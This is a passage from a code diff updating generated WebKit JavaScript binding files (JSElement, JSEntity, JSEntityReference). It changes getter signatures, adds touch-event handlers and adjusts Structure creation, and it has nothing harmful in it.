 void setJSElementOnreset(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(static_cast<JSElement*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(imp->scriptExecutionContext(), exec);
-    if (!globalObject)
-        return;
-    imp->setOnreset(globalObject->createJSAttributeEventListener(value));
+    imp->setOnreset(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSElementOnsearch(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(static_cast<JSElement*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(imp->scriptExecutionContext(), exec);
-    if (!globalObject)
-        return;
-    imp->setOnsearch(globalObject->createJSAttributeEventListener(value));
+    imp->setOnsearch(createJSAttributeEventListener(exec, value, thisObject));
 }
 
 void setJSElementOnselectstart(ExecState* exec, JSObject* thisObject, JSValue value)
 {
     UNUSED_PARAM(exec);
     Element* imp = static_cast<Element*>(static_cast<JSElement*>(thisObject)->impl());
-    JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(imp->scriptExecutionContext(), exec);
-    if (!globalObject)
-        return;
-    imp->setOnselectstart(globalObject->createJSAttributeEventListener(value));
+    imp->setOnselectstart(createJSAttributeEventListener(exec, value, thisObject));
+}
+
+#if ENABLE(TOUCH_EVENTS)
+void setJSElementOntouchstart(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    UNUSED_PARAM(exec);
+    Element* imp = static_cast<Element*>(static_cast<JSElement*>(thisObject)->impl());
+    imp->setOntouchstart(createJSAttributeEventListener(exec, value, thisObject));
 }
+#endif
+
+#if ENABLE(TOUCH_EVENTS)
+void setJSElementOntouchmove(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    UNUSED_PARAM(exec);
+    Element* imp = static_cast<Element*>(static_cast<JSElement*>(thisObject)->impl());
+    imp->setOntouchmove(createJSAttributeEventListener(exec, value, thisObject));
+}
+#endif
+
+#if ENABLE(TOUCH_EVENTS)
+void setJSElementOntouchend(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    UNUSED_PARAM(exec);
+    Element* imp = static_cast<Element*>(static_cast<JSElement*>(thisObject)->impl());
+    imp->setOntouchend(createJSAttributeEventListener(exec, value, thisObject));
+}
+#endif
+
+#if ENABLE(TOUCH_EVENTS)
+void setJSElementOntouchcancel(ExecState* exec, JSObject* thisObject, JSValue value)
+{
+    UNUSED_PARAM(exec);
+    Element* imp = static_cast<Element*>(static_cast<JSElement*>(thisObject)->impl());
+    imp->setOntouchcancel(createJSAttributeEventListener(exec, value, thisObject));
+}
+#endif
 
 JSValue JSElement::getConstructor(ExecState* exec, JSGlobalObject* globalObject)
 {
diff --git a/src/3rdparty/webkit/WebCore/generated/JSElement.h b/src/3rdparty/webkit/WebCore/generated/JSElement.h
index 141d115..e8038f8 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSElement.h
+++ b/src/3rdparty/webkit/WebCore/generated/JSElement.h
@@ -43,7 +43,7 @@ public:
 
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
 
     virtual void markChildren(JSC::MarkStack&);
@@ -86,7 +86,7 @@ public:
     virtual bool getOwnPropertyDescriptor(JSC::ExecState*, const JSC::Identifier&, JSC::PropertyDescriptor&);
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
     JSElementPrototype(NonNullPassRefPtr<JSC::Structure> structure) : JSC::JSObject(structure) { }
 protected:
@@ -125,107 +125,115 @@ JSC::JSValue JSC_HOST_CALL jsElementPrototypeFunctionGetClientRects(JSC::ExecSta
 JSC::JSValue JSC_HOST_CALL jsElementPrototypeFunctionGetBoundingClientRect(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
 // Attributes
 
-JSC::JSValue jsElementTagName(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsElementStyle(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsElementOffsetLeft(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsElementOffsetTop(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsElementOffsetWidth(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsElementOffsetHeight(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsElementOffsetParent(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsElementClientLeft(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsElementClientTop(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsElementClientWidth(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsElementClientHeight(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsElementScrollLeft(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsElementTagName(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsElementStyle(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsElementOffsetLeft(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsElementOffsetTop(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsElementOffsetWidth(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsElementOffsetHeight(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsElementOffsetParent(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsElementClientLeft(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsElementClientTop(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsElementClientWidth(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsElementClientHeight(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsElementScrollLeft(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSElementScrollLeft(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsElementScrollTop(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsElementScrollTop(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSElementScrollTop(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsElementScrollWidth(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsElementScrollHeight(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsElementFirstElementChild(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsElementLastElementChild(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsElementPreviousElementSibling(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsElementNextElementSibling(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsElementChildElementCount(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsElementOnabort(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsElementScrollWidth(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsElementScrollHeight(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsElementFirstElementChild(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsElementLastElementChild(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsElementPreviousElementSibling(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsElementNextElementSibling(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsElementChildElementCount(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsElementOnabort(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSElementOnabort(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsElementOnblur(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsElementOnblur(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSElementOnblur(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsElementOnchange(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsElementOnchange(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSElementOnchange(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsElementOnclick(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsElementOnclick(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSElementOnclick(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsElementOncontextmenu(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsElementOncontextmenu(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSElementOncontextmenu(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsElementOndblclick(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsElementOndblclick(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSElementOndblclick(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsElementOndrag(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsElementOndrag(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSElementOndrag(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsElementOndragend(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsElementOndragend(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSElementOndragend(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsElementOndragenter(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsElementOndragenter(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSElementOndragenter(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsElementOndragleave(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsElementOndragleave(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSElementOndragleave(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsElementOndragover(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsElementOndragover(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSElementOndragover(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsElementOndragstart(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsElementOndragstart(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSElementOndragstart(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsElementOndrop(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsElementOndrop(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSElementOndrop(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsElementOnerror(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsElementOnerror(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSElementOnerror(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsElementOnfocus(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsElementOnfocus(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSElementOnfocus(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsElementOninput(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsElementOninput(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSElementOninput(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsElementOninvalid(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsElementOninvalid(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSElementOninvalid(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsElementOnkeydown(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsElementOnkeydown(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSElementOnkeydown(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsElementOnkeypress(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsElementOnkeypress(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSElementOnkeypress(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsElementOnkeyup(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsElementOnkeyup(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSElementOnkeyup(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsElementOnload(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsElementOnload(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSElementOnload(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsElementOnmousedown(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsElementOnmousedown(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSElementOnmousedown(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsElementOnmousemove(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsElementOnmousemove(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSElementOnmousemove(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsElementOnmouseout(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsElementOnmouseout(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSElementOnmouseout(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsElementOnmouseover(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsElementOnmouseover(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSElementOnmouseover(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsElementOnmouseup(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsElementOnmouseup(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSElementOnmouseup(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsElementOnmousewheel(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsElementOnmousewheel(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSElementOnmousewheel(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsElementOnscroll(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsElementOnscroll(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSElementOnscroll(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsElementOnselect(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsElementOnselect(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSElementOnselect(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsElementOnsubmit(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsElementOnsubmit(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSElementOnsubmit(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsElementOnbeforecut(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsElementOnbeforecut(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSElementOnbeforecut(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsElementOncut(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsElementOncut(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSElementOncut(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsElementOnbeforecopy(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsElementOnbeforecopy(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSElementOnbeforecopy(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsElementOncopy(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsElementOncopy(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSElementOncopy(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsElementOnbeforepaste(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsElementOnbeforepaste(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSElementOnbeforepaste(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsElementOnpaste(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsElementOnpaste(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSElementOnpaste(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsElementOnreset(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsElementOnreset(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSElementOnreset(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsElementOnsearch(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsElementOnsearch(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSElementOnsearch(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsElementOnselectstart(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsElementOnselectstart(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSElementOnselectstart(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsElementConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsElementOntouchstart(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSElementOntouchstart(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsElementOntouchmove(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSElementOntouchmove(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsElementOntouchend(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSElementOntouchend(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsElementOntouchcancel(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+void setJSElementOntouchcancel(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
+JSC::JSValue jsElementConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 
 } // namespace WebCore
 
diff --git a/src/3rdparty/webkit/WebCore/generated/JSEntity.cpp b/src/3rdparty/webkit/WebCore/generated/JSEntity.cpp
index 6f870e4..c68e3e1 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSEntity.cpp
+++ b/src/3rdparty/webkit/WebCore/generated/JSEntity.cpp
@@ -35,10 +35,10 @@ ASSERT_CLASS_FITS_IN_CELL(JSEntity);
 
 static const HashTableValue JSEntityTableValues[5] =
 {
-    { "publicId", DontDelete|ReadOnly, (intptr_t)jsEntityPublicId, (intptr_t)0 },
-    { "systemId", DontDelete|ReadOnly, (intptr_t)jsEntitySystemId, (intptr_t)0 },
-    { "notationName", DontDelete|ReadOnly, (intptr_t)jsEntityNotationName, (intptr_t)0 },
-    { "constructor", DontEnum|ReadOnly, (intptr_t)jsEntityConstructor, (intptr_t)0 },
+    { "publicId", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsEntityPublicId), (intptr_t)0 },
+    { "systemId", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsEntitySystemId), (intptr_t)0 },
+    { "notationName", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsEntityNotationName), (intptr_t)0 },
+    { "constructor", DontEnum|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsEntityConstructor), (intptr_t)0 },
     { 0, 0, 0, 0 }
 };
 
@@ -77,7 +77,7 @@ public:
 
     static PassRefPtr<Structure> createStructure(JSValue proto) 
     { 
-        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags)); 
+        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags), AnonymousSlotCount); 
     }
     
 protected:
@@ -139,33 +139,36 @@ bool JSEntity::getOwnPropertyDescriptor(ExecState* exec, const Identifier& prope
     return getStaticValueDescriptor<JSEntity, Base>(exec, &JSEntityTable, this, propertyName, descriptor);
 }
 
-JSValue jsEntityPublicId(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsEntityPublicId(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSEntity* castedThis = static_cast<JSEntity*>(asObject(slot.slotBase()));
+    JSEntity* castedThis = static_cast<JSEntity*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Entity* imp = static_cast<Entity*>(castedThis->impl());
-    return jsStringOrNull(exec, imp->publicId());
+    JSValue result = jsStringOrNull(exec, imp->publicId());
+    return result;
 }
 
-JSValue jsEntitySystemId(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsEntitySystemId(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSEntity* castedThis = static_cast<JSEntity*>(asObject(slot.slotBase()));
+    JSEntity* castedThis = static_cast<JSEntity*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Entity* imp = static_cast<Entity*>(castedThis->impl());
-    return jsStringOrNull(exec, imp->systemId());
+    JSValue result = jsStringOrNull(exec, imp->systemId());
+    return result;
 }
 
-JSValue jsEntityNotationName(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsEntityNotationName(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSEntity* castedThis = static_cast<JSEntity*>(asObject(slot.slotBase()));
+    JSEntity* castedThis = static_cast<JSEntity*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Entity* imp = static_cast<Entity*>(castedThis->impl());
-    return jsStringOrNull(exec, imp->notationName());
+    JSValue result = jsStringOrNull(exec, imp->notationName());
+    return result;
 }
 
-JSValue jsEntityConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsEntityConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSEntity* domObject = static_cast<JSEntity*>(asObject(slot.slotBase()));
+    JSEntity* domObject = static_cast<JSEntity*>(asObject(slotBase));
     return JSEntity::getConstructor(exec, domObject->globalObject());
 }
 JSValue JSEntity::getConstructor(ExecState* exec, JSGlobalObject* globalObject)
diff --git a/src/3rdparty/webkit/WebCore/generated/JSEntity.h b/src/3rdparty/webkit/WebCore/generated/JSEntity.h
index 6ea4fe5..c85ce4d 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSEntity.h
+++ b/src/3rdparty/webkit/WebCore/generated/JSEntity.h
@@ -39,7 +39,7 @@ public:
 
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
 
     static JSC::JSValue getConstructor(JSC::ExecState*, JSC::JSGlobalObject*);
@@ -56,7 +56,7 @@ public:
     static const JSC::ClassInfo s_info;
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
     JSEntityPrototype(NonNullPassRefPtr<JSC::Structure> structure) : JSC::JSObject(structure) { }
 protected:
@@ -65,10 +65,10 @@ protected:
 
 // Attributes
 
-JSC::JSValue jsEntityPublicId(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsEntitySystemId(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsEntityNotationName(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsEntityConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsEntityPublicId(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsEntitySystemId(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsEntityNotationName(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsEntityConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 
 } // namespace WebCore
 
diff --git a/src/3rdparty/webkit/WebCore/generated/JSEntityReference.cpp b/src/3rdparty/webkit/WebCore/generated/JSEntityReference.cpp
index 505374a..7e44960 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSEntityReference.cpp
+++ b/src/3rdparty/webkit/WebCore/generated/JSEntityReference.cpp
@@ -34,7 +34,7 @@ ASSERT_CLASS_FITS_IN_CELL(JSEntityReference);
 
 static const HashTableValue JSEntityReferenceTableValues[2] =
 {
-    { "constructor", DontEnum|ReadOnly, (intptr_t)jsEntityReferenceConstructor, (intptr_t)0 },
+    { "constructor", DontEnum|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsEntityReferenceConstructor), (intptr_t)0 },
     { 0, 0, 0, 0 }
 };
 
@@ -73,7 +73,7 @@ public:
 
     static PassRefPtr<Structure> createStructure(JSValue proto) 
     { 
-        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags)); 
+        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags), AnonymousSlotCount); 
     }
     
 protected:
@@ -135,9 +135,9 @@ bool JSEntityReference::getOwnPropertyDescriptor(ExecState* exec, const Identifi
     return getStaticValueDescriptor<JSEntityReference, Base>(exec, &JSEntityReferenceTable, this, propertyName, descriptor);
 }
 
-JSValue jsEntityReferenceConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsEntityReferenceConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSEntityReference* domObject = static_cast<JSEntityReference*>(asObject(slot.slotBase()));
+    JSEntityReference* domObject = static_cast<JSEntityReference*>(asObject(slotBase));
     return JSEntityReference::getConstructor(exec, domObject->globalObject());
 }
 JSValue JSEntityReference::getConstructor(ExecState* exec, JSGlobalObject* globalObject)
diff --git a/src/3rdparty/webkit/WebCore/generated/JSEntityReference.h b/src/3rdparty/webkit/WebCore/generated/JSEntityReference.h
index bec01e6..ae6d142 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSEntityReference.h
+++ b/src/3rdparty/webkit/WebCore/generated/JSEntityReference.h
@@ -39,7 +39,7 @@ public:
 
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
 
     static JSC::JSValue getConstructor(JSC::ExecState*, JSC::JSGlobalObject*);
@@ -56,7 +56,7 @@ public:
     static const JSC::ClassInfo s_info;
